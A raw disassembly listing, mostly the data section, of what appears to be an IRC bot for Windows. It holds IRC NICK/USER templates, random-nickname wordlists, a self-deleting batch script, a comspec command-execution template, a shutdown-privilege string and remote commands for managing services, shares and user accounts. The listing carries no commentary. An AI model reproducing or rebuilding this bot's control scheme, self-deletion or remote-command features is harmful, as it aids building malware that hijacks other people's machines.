		lea	eax, [ebx+0]
		push	eax
		lea	eax, [ebx+0]
		dec	eax
		lea	eax, [ebx+0]
		inc	eax
		lea	eax, [ebx+0]
		cmp	[ebp-72CFFFBDh], cl
		inc	ebx
		add	[eax], ch
		lea	eax, [ebx+0]
		sbb	al, 8Dh
		inc	ebx
		add	ds:8D0C0043h[ecx*4], dl
		inc	ebx
		add	[eax], cl
		lea	eax, [ebx+0]
		add	[ebp-6D0BFFBDh], cl
		inc	ebx
		add	al, dh
		retf	42h
; ---------------------------------------------------------------------------
		db  10h
		db  93h	; “
		db  43h	; C
		db    0
		db  88h	; ˆ
		db 0B1h	; ±
		db  42h	; B
		db    0
		db  0Ch
		db  93h	; “
		db  43h	; C
		db    0
		db    8
		db  93h	; “
		db  43h	; C
		db    0
		db    4
		db  93h	; “
		db  43h	; C
		db    0
		db  70h	; p
		db 0C6h	; Æ
		db  42h	; B
		db    0
		db  34h	; 4
		db 0B9h	; ¹
		db  42h	; B
		db    0
		db  7Ch	; |
		db 0B7h	; ·
		db  42h	; B
		db    0
		db 0ECh	; ì
		db 0CAh	; Ê
		db  42h	; B
		db    0
		dd offset dword_439300
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_439318
		dd offset dword_4392F8
		dd offset dword_439314
		dd offset dword_4392FC
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_4392FC
		dd offset dword_439308
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_438CB8
		dd offset aBbl		; "|bbl"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset a___0		; "_|_"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset dword_4392C4
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_4392F4
		dd offset byte_43DB88
		dd offset aSleeping	; "Sleeping"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset dword_4392A8
		dd offset byte_43DB88
		dd offset off_438C78
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_438C38
		dd offset dword_438C34
		dd offset dword_438C2C
		dd offset dword_438C20
		dd offset dword_438C18
		dd offset dword_438C10
		dd offset dword_438C08
		dd offset dword_438C04
		dd offset dword_438C00
dword_438C00	dd 7536h		; DATA XREF: ___:00438BFCo
dword_438C04	dd 7535h		; DATA XREF: ___:00438BF8o
dword_438C08	dd 7C75347Ch, 0		; DATA XREF: ___:00438BF4o
dword_438C10	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438BF0o
dword_438C18	dd 7375347Ch, 7Ch	; DATA XREF: ___:00438BECo
dword_438C20	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438BE8o
dword_438C2C	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:00438BE4o
dword_438C34	dd 6C6F6Ch		; DATA XREF: ___:00438BE0o
dword_438C38	dd 746F74h		; DATA XREF: ___:00438BDCo
aMofo		db 'mofo',0             ; DATA XREF: ___:00438BD8o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:00438BD4o
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438BD0o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:00438BCCo
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438BC8o
aShit		db 'shit',0             ; DATA XREF: ___:00438BC4o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: ___:00438BC0o
		align 10h
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:00438BBCo
		align 4
off_438C78	dd offset sub_594F42	; DATA XREF: ___:00438BB8o
aFree		db 'Free',0             ; DATA XREF: ___:00438BA4o
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: ___:00438BA0o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:00438B94o
		align 4
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438B88o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: ___:00438B84o
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438B80o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:00438B64o
aBbl		db '|bbl',0             ; DATA XREF: ___:00438B58o
		align 4
off_438CB8	dd offset loc_425240+2	; DATA XREF: ___:00438B54o
aMuckc		db 'muckc',0            ; DATA XREF: ___:00438B40o
		align 4
aTruck		db 'truck',0            ; DATA XREF: ___:00438B3Co
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:00438B38o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:00438B34o
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:00438B30o
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: ___:00438B2Co
aRt		db 'rt',0               ; DATA XREF: ___:00438B28o
		align 4
aGf		db 'gf',0               ; DATA XREF: ___:00438B24o
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:00438B20o
		align 10h
aRg		db 'rg',0               ; DATA XREF: ___:00438B1Co
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00438B18o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00438AF8o
		align 10h
aQ8A		db '|q8|a',0
		align 4
aQ8		db 'Q8',0
		align 4
aSick		db 'sick}}',0
		align 4
aWiked		db '|wiked|',0
aLuvuF		db '||luvu-f|',0
		align 4
aGens		db '{gens|',0
		align 10h
aSex_0		db '{sex}',0
		align 4
aHub		db '{hub}',0
		align 10h
aLuck		db '|luck|',0
		align 4
aSuck		db '|suck|',0
		align 10h
aTot		db '-|tot|',0
		align 4
aWoh		db '|woh|',0
		align 10h
aTambe		db '|tambe|',0
aLag		db 'lag',0
aBad		db 'bad',0              ; DATA XREF: ___:00438A78o
aTree		db 'tree',0             ; DATA XREF: ___:00438A74o
		align 4
aZex		db 'zex',0              ; DATA XREF: ___:00438A70o
aLez		db 'lez',0              ; DATA XREF: ___:00438A6Co
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:00438A64o
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:00438A60o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:00438A5Co
		align 10h
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:00438A58o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:00438A54o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00438A50o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00438A4Co
		align 10h
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00438A48o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:00438A44o
		align 10h
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00438A40o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00438A3Co
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:00438A38o
		align 10h
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00438A34o
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00438A30o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00438A2Co
aAkden		db 'akden',0            ; DATA XREF: ___:00438A28o
		align 10h
aKoray		db 'KORAY',0            ; DATA XREF: ___:00438A24o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00438A20o
		align 10h
aFirtina	db 'firtina',0          ; DATA XREF: ___:00438A1Co
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00438A18o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00438A14o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00438A10o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00438A0Co
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00438A08o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:00438A04o
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00438A00o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:004389FCo
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:004389F8o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:004389F4o
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:004389F0o
		align 4
off_438E98	dd offset byte_4B5245	; DATA XREF: ___:004389ECo
aSevda		db 'sevda',0            ; DATA XREF: ___:004389E8o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:004389E4o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:004389E0o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:004389DCo
		align 10h
aKapk		db 'kapk',0             ; DATA XREF: ___:004389D8o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:004389D4o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:004389D0o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:004389CCo
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:004389C8o
		align 10h
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:004389C4o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:004389C0o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:004389BCo
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:004389B8o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:004389B4o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:004389B0o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:004389ACo
		align 10h
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:004389A8o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:004389A4o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:004389A0o
		align 10h
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:0043899Co
		align 10h
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00438998o
aHoly		db 'holy',0             ; DATA XREF: ___:00438994o
		align 10h
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00438990o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:0043898Co
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00438988o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00438984o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00438980o
		align 10h
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:0043897Co
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:00438978o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:00438974o
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00438970o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:0043896Co
aArda		db 'arda',0             ; DATA XREF: ___:00438968o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:00438964o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00438960o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:0043895Co
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00438958o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:00438954o
		align 10h
aBogac		db 'bogac',0            ; DATA XREF: ___:00438950o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:0043894Co
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:00438948o
		align 4
off_43902C	dd offset byte_457441	; DATA XREF: ___:00438944o
dword_439030	dd 414C5941h, 2Dh	; DATA XREF: ___:00438940o
aAlbina		db 'albina',0           ; DATA XREF: ___:0043893Co
		align 10h
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00438938o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:00438934o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00438930o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:0043892Co
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00438928o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00438924o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00438920o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:0043891Co
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00438918o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00438914o
aAslii		db 'aslii',0            ; DATA XREF: ___:00438910o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:0043890Co
aHaticem	db 'haticem',0          ; DATA XREF: ___:00438908o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00438904o
		align 10h
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00438900o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:004388FCo
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:004388F8o
		align 10h
aTekir		db 'tekir',0            ; DATA XREF: ___:004388F4o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:004388F0o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:004388ECo
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:004388E8o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:004388E4o
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: ___:004388E0o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:004388DCo
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:004388D8o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:004388D4o
		align 10h
aIrmal		db 'irmal',0            ; DATA XREF: ___:004388D0o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:004388CCo
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:004388C8o
		align 10h
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:004388C4o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:004388C0o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:004388BCo
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:004388B8o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:004388B4o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:004388B0o
aReshma		db 'reshma',0           ; DATA XREF: ___:004388ACo
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:004388A8o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:004388A4o
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:004388A0o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:0043889Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00438898o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:00438894o
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00438890o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:0043888Co
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00438888o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00438884o
		align 10h
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00438880o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:0043887Co
		align 10h
aBunty		db 'bunty',0            ; DATA XREF: ___:00438878o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:00438874o
		align 10h
aCme		db 'cme',0              ; DATA XREF: ___:00438870o
aMarcy		db 'marcy',0            ; DATA XREF: ___:0043886Co
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:00438868o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:00438864o
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:00438860o
aFlexster	db 'flexster',0         ; DATA XREF: ___:0043885Co
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:00438858o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:00438854o
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:00438850o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:0043884Co
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00438848o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:00438844o
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00438840o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:0043883Co
aFarooq		db 'farooq',0           ; DATA XREF: ___:00438838o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:00438834o
		align 4
aM_0:					; DATA XREF: ___:00438830o
					; ___:00438B7Co
		unicode	0, <M>,0
word_439298	dw 4Eh			; DATA XREF: sub_41A3C6+38r
					; ___:0043882Co
		align 4
dword_43929C	dd 42h			; DATA XREF: ___:00438828o
dword_4392A0	dd 56h			; DATA XREF: ___:00438824o
dword_4392A4	dd 43h			; DATA XREF: ___:00438820o
dword_4392A8	dd 58h			; DATA XREF: ___:0043881Co
					; ___:00438BB0o
dword_4392AC	dd 5Ah			; DATA XREF: ___:00438818o
dword_4392B0	dd 4Ch			; DATA XREF: ___:00438814o
dword_4392B4	dd 4Bh			; DATA XREF: ___:00438810o
dword_4392B8	dd 4Ah			; DATA XREF: ___:0043880Co
dword_4392BC	dd 48h			; DATA XREF: ___:00438808o
dword_4392C0	dd 47h			; DATA XREF: ___:00438804o
dword_4392C4	dd 46h			; DATA XREF: ___:00438800o
					; ___:00438B78o
dword_4392C8	dd 44h			; DATA XREF: ___:004387FCo
dword_4392CC	dd 53h			; DATA XREF: ___:004387F8o
dword_4392D0	dd 50h			; DATA XREF: ___:004387F0o
dword_4392D4	dd 4Fh			; DATA XREF: ___:004387ECo
dword_4392D8	dd 55h			; DATA XREF: ___:004387E4o
word_4392DC	dw 59h			; DATA XREF: sub_41A6EA+38r
					; ___:004387E0o
		align 10h
dword_4392E0	dd 54h			; DATA XREF: ___:004387DCo
dword_4392E4	dd 52h			; DATA XREF: ___:004387D8o
dword_4392E8	dd 45h			; DATA XREF: ___:004387D4o
dword_4392EC	dd 57h			; DATA XREF: ___:004387D0o
dword_4392F0	dd 51h			; DATA XREF: ___:004387CCo
dword_4392F4	dd 62h			; DATA XREF: ___:004387C0o
					; ___:00438B8Co
dword_4392F8	dd 78h			; DATA XREF: ___:00438B0Co
dword_4392FC	dd 7Ah			; DATA XREF: ___:00438B14o
					; ___:00438B44o
dword_439300	dd 6Ch,	68h		; DATA XREF: ___:004387ACo
					; ___:00438AE0o
dword_439308	dd 67h,	66h, 64h	; DATA XREF: ___:00438B48o
dword_439314	dd 79h			; DATA XREF: ___:00438B10o
dword_439318	dd 77h			; DATA XREF: ___:00438B08o
dword_43931C	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_417B76+B1o
dword_439328	dd 323334h		; DATA XREF: sub_417B76+79o
dword_43932C	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_417B76+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_417C61+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417E84+BCo
					; sub_417E84+175r ...
		align 4
dword_439374	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4393C0	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_4182CD+E3o
; ---------------------------------------------------------------------------


loc_4393DC:				; DATA XREF: sub_4182CD+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_4393F0	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_4182CD+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_4187E0+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884:loc_418886o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_4188A6+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_4188A6+48o
		align 4
unk_4394A4	db  2Dh	; -		; DATA XREF: sub_418A2E+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_4394D4	db  2Dh	; -		; DATA XREF: sub_418A2E+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_4394FC	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_418A2E+5Co
		dd 65726165h, 64h
off_439518	dd offset aAdd		; DATA XREF: sub_418C0E+60r
					; sub_418FE5+51r ...
					; "Add"
off_43951C	dd offset aAdded	; DATA XREF: sub_418C0E+2Dr
					; sub_418FE5+83r ...
					; "Added"
dword_439520	dd 0			; DATA XREF: sub_418C0E+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 43958Ch, 439584h,	2, 439578h, 43956Ch, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0043954Co
aStop_0		db 'Stop',0             ; DATA XREF: ___:00439548o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:00439540o
aStart_0	db 'Start',0            ; DATA XREF: ___:0043953Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:00439534o
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:00439530o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:00439528o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:00439524o
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_43951Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_439518o
unk_4395E0	db  2Dh	; -		; DATA XREF: sub_418C0E+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_439604	db  2Dh	; -		; DATA XREF: sub_418C0E+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439630	db  2Dh	; -		; DATA XREF: sub_418C0E+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_418D2A:loc_418E34o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_418D2A:loc_418E2Do
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_418D2A:loc_418E26o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E1Fo
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_418D2A:loc_418E11o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_418D2A:loc_418E0Ao
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E03o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_418D2A:loc_418DD8o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_418D2A:loc_418DD1o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_418D2A:loc_418DCAo
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_418D2A:loc_418DC3o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_418D2A:loc_418D98o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_418D2A:loc_418D8Eo
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_418D2A:loc_418D84o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_418D2A:loc_418D70o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_418EA8+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_418EA8:loc_418F74o
aStarting	db '   Starting',0      ; DATA XREF: sub_418EA8:loc_418F6Do
aStoping	db '    Stoping',0      ; DATA XREF: sub_418EA8:loc_418F66o
aRunning	db '    Running',0      ; DATA XREF: sub_418EA8:loc_418F5Fo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_418EA8:loc_418F58o
aPausing	db '    Pausing',0      ; DATA XREF: sub_418EA8:loc_418F51o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_418EA8:loc_418F4Ao
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_418EA8+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_418EA8+25o
		align 4
unk_439B84	db  2Dh	; -		; DATA XREF: sub_418FE5+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
dword_439BA8	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418FE5+8Ao
		dd 73252720h, 27h
unk_439BC4	db  2Dh	; -		; DATA XREF: sub_418FE5+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4191DB+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_4191DB+B5o
unk_439C10	db  2Dh	; -		; DATA XREF: sub_4191DB+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_4191DB+26o
		align 10h
unk_439C70	db  2Dh	; -		; DATA XREF: sub_4192FC+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
unk_439C98	db  2Dh	; -		; DATA XREF: sub_4192FC+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_439CC8	db  2Dh	; -		; DATA XREF: sub_4192FC+6Do
		db 3, 34h, 2
